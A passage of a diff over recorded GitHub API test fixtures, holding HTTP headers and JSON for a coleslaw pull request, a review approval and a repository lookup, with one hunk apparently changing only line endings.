'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9690:402B9:60ABD6C:77A1AD7:5D2CACF5')] {"url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173","id":297328454,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk3MzI4NDU0","html_url":"https://github.com/coleslaw-org/coleslaw/pull/173","diff_url":"https://github.com/coleslaw-org/coleslaw/pull/173.diff","patch_url":"https://github.com/coleslaw-org/coleslaw/pull/173.patch","issue_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173","number":173,"state":"open","locked":false,"title":"Add mailing list from common-lisp.net","user":{"login":"equwal","id":13551856,"node_id":"MDQ6VXNlcjEzNTUxODU2","avatar_url":"https://avatars3.githubusercontent.com/u/13551856?v=4","gravatar_id":"","url":"https://api.github.com/users/equwal","html_url":"https://github.com/equwal","followers_url":"https://api.github.com/users/equwal/followers","following_url":"https://api.github.com/users/equwal/following{/other_user}","gists_url":"https://api.github.com/users/equwal/gists{/gist_id}","starred_url":"https://api.github.com/users/equwal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/equwal/subscriptions","organizations_url":"https://api.github.com/users/equwal/orgs","repos_url":"https://api.github.com/users/equwal/repos","events_url":"https://api.github.com/users/equwal/events{/privacy}","received_events_url":"https://api.github.com/users/equwal/received_events","type":"User","site_admin":false},"body":"common-lisp.net has graciously made a mailing list for coleslaw (at my request, by snail mail). I'd be happy to hand out permissions to the current maintainers of Coleslaw. Currently it is just me; hopefully this is okay.\r\n\r\ncoleslaw@common-lisp.net\r\nhttps://mailman.common-lisp.net/listinfo/coleslaw","created_at":"2019-07-13T16:17:51Z","updated_at":"2019-07-14T20:51:11Z","closed_at":null,"merged_at":null,"merge_commit_sha":"c4b12646f8fd50bc51fe7476fd9c0664fb0051a7","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/commits","review_comments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/comments","review_comment_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/comments{/number}","comments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173/comments","statuses_url":"https://api.github.com/repos/coleslaw-org/coleslaw/statuses/8492120a51c13d713c8a9121f079de2220190ce5","head":{"label":"equwal:mailing-list","ref":"mailing-list","sha":"8492120a51c13d713c8a9121f079de2220190ce5","user":{"login":"equwal","id":13551856,"node_id":"MDQ6VXNlcjEzNTUxODU2","avatar_url":"https://avatars3.githubusercontent.com/u/13551856?v=4","gravatar_id":"","url":"https://api.github.com/users/equwal","html_url":"https://github.com/equwal","followers_url":"https://api.github.com/users/equwal/followers","following_url":"https://api.github.com/users/equwal/following{/other_user}","gists_url":"https://api.github.com/users/equwal/gists{/gist_id}","starred_url":"https://api.github.com/users/equwal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/equwal/subscriptions","organizations_url":"https://api.github.com/users/equwal/orgs","repos_url":"https://api.github.com/users/equwal/repos","events_url":"https://api.github.com/users/equwal/events{/privacy}","received_events_url":"https://api.github.com/users/equwal/received_events","type":"User","site_admin":false},"repo":{"id":191131427,"node_id":"MDEwOlJlcG9zaXRvcnkxOTExMzE0Mjc=","name":"coleslaw-1","full_name":"equwal/coleslaw-1","private":false,"owner":{"login":"equwal","id":13551856,"node_id":"MDQ6VXNlcjEzNTUxODU2","avatar_url":"https://avatars3.githubusercontent.com/u/13551856?v=4","gravatar_id":"","url":"https://api.github.com/users/equwal","html_url":"https://github.com/equwal","followers_url":"https://api.github.com/users/equwal/followers","following_url":"https://api.github.com/users/equwal/following{/other_user}","gists_url":"https://api.github.com/users/equwal/gists{/gist_id}","starred_url":"https://api.github.com/users/equwal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/equwal/subscriptions","organizations_url":"https://api.github.com/users/equwal/orgs","repos_url":"https://api.github.com/users/equwal/repos","events_url":"https://api.github.com/users/equwal/events{/privacy}","received_events_url":"https://api.github.com/users/equwal/received_events","type":"User","site_admin":false},"html_url":"https://github.com/equwal/coleslaw-1","description":"Flexible Lisp Blogware","fork":true,"url":"https://api.github.com/repos/equwal/coleslaw-1","forks_url":"https://api.github.com/repos/equwal/coleslaw-1/forks","keys_url":"https://api.github.com/repos/equwal/coleslaw-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/equwal/coleslaw-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/equwal/coleslaw-1/teams","hooks_url":"https://api.github.com/repos/equwal/coleslaw-1/hooks","issue_events_url":"https://api.github.com/repos/equwal/coleslaw-1/issues/events{/number}","events_url":"https://api.github.com/repos/equwal/coleslaw-1/events","assignees_url":"https://api.github.com/repos/equwal/coleslaw-1/assignees{/user}","branches_url":"https://api.github.com/repos/equwal/coleslaw-1/branches{/branch}","tags_url":"https://api.github.com/repos/equwal/coleslaw-1/tags","blobs_url":"https://api.github.com/repos/equwal/coleslaw-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/equwal/coleslaw-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/equwal/coleslaw-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/equwal/coleslaw-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/equwal/coleslaw-1/statuses/{sha}","languages_url":"https://api.github.com/repos/equwal/coleslaw-1/languages","stargazers_url":"https://api.github.com/repos/equwal/coleslaw-1/stargazers","contributors_url":"https://api.github.com/repos/equwal/coleslaw-1/contributors","subscribers_url":"https://api.github.com/repos/equwal/coleslaw-1/subscribers","subscription_url":"https://api.github.com/repos/equwal/coleslaw-1/subscription","commits_url":"https://api.github.com/repos/equwal/coleslaw-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/equwal/coleslaw-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/equwal/coleslaw-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/equwal/coleslaw-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/equwal/coleslaw-1/contents/{+path}","compare_url":"https://api.github.com/repos/equwal/coleslaw-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/equwal/coleslaw-1/merges","archive_url":"https://api.github.com/repos/equwal/coleslaw-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/equwal/coleslaw-1/downloads","issues_url":"https://api.github.com/repos/equwal/coleslaw-1/issues{/number}","pulls_url":"https://api.github.com/repos/equwal/coleslaw-1/pulls{/number}","milestones_url":"https://api.github.com/repos/equwal/coleslaw-1/milestones{/number}","notifications_url":"https://api.github.com/repos/equwal/coleslaw-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/equwal/coleslaw-1/labels{/name}","releases_url":"https://api.github.com/repos/equwal/coleslaw-1/releases{/id}","deployments_url":"https://api.github.com/repos/equwal/coleslaw-1/deployments","created_at":"2019-06-10T08:51:13Z","updated_at":"2019-06-16T13:17:52Z","pushed_at":"2019-07-13T16:16:27Z","git_url":"git://github.com/equwal/coleslaw-1.git","ssh_url":"git@github.com:equwal/coleslaw-1.git","clone_url":"https://github.com/equwal/coleslaw-1.git","svn_url":"https://github.com/equwal/coleslaw-1","homepage":"","size":1149,"stargazers_count":0,"watchers_count":0,"language":"Common Lisp","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"bsd-2-clause","name":"BSD 2-Clause \"Simplified\" License","spdx_id":"BSD-2-Clause","url":"https://api.github.com/licenses/bsd-2-clause","node_id":"MDc6TGljZW5zZTQ="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"coleslaw-org:master","ref":"master","sha":"992f3aba7b489dc9b4420463ebaa6f357edcf80c","user":{"login":"coleslaw-org","id":51827762,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUxODI3NzYy","avatar_url":"https://avatars0.githubusercontent.com/u/51827762?v=4","gravatar_id":"","url":"https://api.github.com/users/coleslaw-org","html_url":"https://github.com/coleslaw-org","followers_url":"https://api.github.com/users/coleslaw-org/followers","following_url":"https://api.github.com/users/coleslaw-org/following{/other_user}","gists_url":"https://api.github.com/users/coleslaw-org/gists{/gist_id}","starred_url":"https://api.github.com/users/coleslaw-org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coleslaw-org/subscriptions","organizations_url":"https://api.github.com/users/coleslaw-org/orgs","repos_url":"https://api.github.com/users/coleslaw-org/repos","events_url":"https://api.github.com/users/coleslaw-org/events{/privacy}","received_events_url":"https://api.github.com/users/coleslaw-org/received_events","type":"Organization","site_admin":false},"repo":{"id":1387472,"node_id":"MDEwOlJlcG9zaXRvcnkxMzg3NDcy","name":"coleslaw","full_name":"coleslaw-org/coleslaw","private":false,"owner":{"login":"coleslaw-org","id":51827762,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUxODI3NzYy","avatar_url":"https://avatars0.githubusercontent.com/u/51827762?v=4","gravatar_id":"","url":"https://api.github.com/users/coleslaw-org","html_url":"https://github.com/coleslaw-org","followers_url":"https://api.github.com/users/coleslaw-org/followers","following_url":"https://api.github.com/users/coleslaw-org/following{/other_user}","gists_url":"https://api.github.com/users/coleslaw-org/gists{/gist_id}","starred_url":"https://api.github.com/users/coleslaw-org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coleslaw-org/subscriptions","organizations_url":"https://api.github.com/users/coleslaw-org/orgs","repos_url":"https://api.github.com/users/coleslaw-org/repos","events_url":"https://api.github.com/users/coleslaw-org/events{/privacy}","received_events_url":"https://api.github.com/users/coleslaw-org/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coleslaw-org/coleslaw","description":"Flexible Lisp Blogware","fork":false,"url":"https://api.github.com/repos/coleslaw-org/coleslaw","forks_url":"https://api.github.com/repos/coleslaw-org/coleslaw/forks","keys_url":"https://api.github.com/repos/coleslaw-org/coleslaw/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coleslaw-org/coleslaw/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coleslaw-org/coleslaw/teams","hooks_url":"https://api.github.com/repos/coleslaw-org/coleslaw/hooks","issue_events_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/events{/number}","events_url":"https://api.github.com/repos/coleslaw-org/coleslaw/events","assignees_url":"https://api.github.com/repos/coleslaw-org/coleslaw/assignees{/user}","branches_url":"https://api.github.com/repos/coleslaw-org/coleslaw/branches{/branch}","tags_url":"https://api.github.com/repos/coleslaw-org/coleslaw/tags","blobs_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/refs{/sha}","trees_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coleslaw-org/coleslaw/statuses/{sha}","languages_url":"https://api.github.com/repos/coleslaw-org/coleslaw/languages","stargazers_url":"https://api.github.com/repos/coleslaw-org/coleslaw/stargazers","contributors_url":"https://api.github.com/repos/coleslaw-org/coleslaw/contributors","subscribers_url":"https://api.github.com/repos/coleslaw-org/coleslaw/subscribers","subscription_url":"https://api.github.com/repos/coleslaw-org/coleslaw/subscription","commits_url":"https://api.github.com/repos/coleslaw-org/coleslaw/commits{/sha}","git_commits_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/commits{/sha}","comments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/comments{/number}","issue_comment_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/comments{/number}","contents_url":"https://api.github.com/repos/coleslaw-org/coleslaw/contents/{+path}","compare_url":"https://api.github.com/repos/coleslaw-org/coleslaw/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coleslaw-org/coleslaw/merges","archive_url":"https://api.github.com/repos/coleslaw-org/coleslaw/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coleslaw-org/coleslaw/downloads","issues_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues{/number}","pulls_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls{/number}","milestones_url":"https://api.github.com/repos/coleslaw-org/coleslaw/milestones{/number}","notifications_url":"https://api.github.com/repos/coleslaw-org/coleslaw/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coleslaw-org/coleslaw/labels{/name}","releases_url":"https://api.github.com/repos/coleslaw-org/coleslaw/releases{/id}","deployments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/deployments","created_at":"2011-02-19T21:27:15Z","updated_at":"2019-07-15T13:17:41Z","pushed_at":"2019-07-13T16:17:52Z","git_url":"git://github.com/coleslaw-org/coleslaw.git","ssh_url":"git@github.com:coleslaw-org/coleslaw.git","clone_url":"https://github.com/coleslaw-org/coleslaw.git","svn_url":"https://github.com/coleslaw-org/coleslaw","homepage":"","size":779,"stargazers_count":341,"watchers_count":341,"language":"Common Lisp","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":69,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":44,"license":{"key":"bsd-2-clause","name":"BSD 2-Clause \"Simplified\" License","spdx_id":"BSD-2-Clause","url":"https://api.github.com/licenses/bsd-2-clause","node_id":"MDc6TGljZW5zZTQ="},"forks":69,"open_issues":44,"watchers":341,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173"},"html":{"href":"https://github.com/coleslaw-org/coleslaw/pull/173"},"issue":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173"},"comments":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173/comments"},"review_comments":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/comments"},"review_comment":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/commits"},"statuses":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/statuses/8492120a51c13d713c8a9121f079de2220190ce5"}},"author_association":"CONTRIBUTOR","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":1,"maintainer_can_modify":true,"commits":1,"additions":32,"deletions":30,"changed_files":2} - diff --git a/tests/ReplayData/PullRequest1169.testReviewApproveWithoutBody.txt b/tests/ReplayData/PullRequest1169.testReviewApproveWithoutBody.txt index a7aa33d754..a0ff2af181 100644 --- a/tests/ReplayData/PullRequest1169.testReviewApproveWithoutBody.txt +++ b/tests/ReplayData/PullRequest1169.testReviewApproveWithoutBody.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 15 Jul 2019 16:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1563212378'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"c3218e799d214a96e76516cd1b66719c"'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9692:A1DA:7E28EE2:9C4D530:5D2CACF5')] {"id":261942907,"node_id":"MDE3OlB1bGxSZXF1ZXN0UmV2aWV3MjYxOTQyOTA3","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"body":"","state":"APPROVED","html_url":"https://github.com/coleslaw-org/coleslaw/pull/173#pullrequestreview-261942907","pull_request_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173","author_association":"CONTRIBUTOR","_links":{"html":{"href":"https://github.com/coleslaw-org/coleslaw/pull/173#pullrequestreview-261942907"},"pull_request":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173"}},"submitted_at":"2019-07-15T16:42:30Z","commit_id":"8492120a51c13d713c8a9121f079de2220190ce5"} - diff --git a/tests/ReplayData/PullRequest1682.setUp.txt b/tests/ReplayData/PullRequest1682.setUp.txt index b65d9bffac..4eea378a4c 100644 --- a/tests/ReplayData/PullRequest1682.setUp.txt +++ b/tests/ReplayData/PullRequest1682.setUp.txt @@ -1,11 +1,10 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3f57c3bc8bc24a574b14be5562a6807a14b95ece2301de951d8234cacea234ed"'), ('Last-Modified', 'Sat, 10 Oct 2020 08:06:04 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4909'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '91'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14D:4B2E:23C90:6072E:5F987C9E')] -{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-10-10T08:06:04Z","pushed_at":"2020-10-18T06:42:23Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":30731,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":11,"license":null,"forks":1,"open_issues":11,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTAMCWRKWXDZRJKUCUC7TB64U","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":1} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3f57c3bc8bc24a574b14be5562a6807a14b95ece2301de951d8234cacea234ed"'), ('Last-Modified', 'Sat, 10 Oct 2020 08:06:04 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4909'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '91'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14D:4B2E:23C90:6072E:5F987C9E')] +{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url"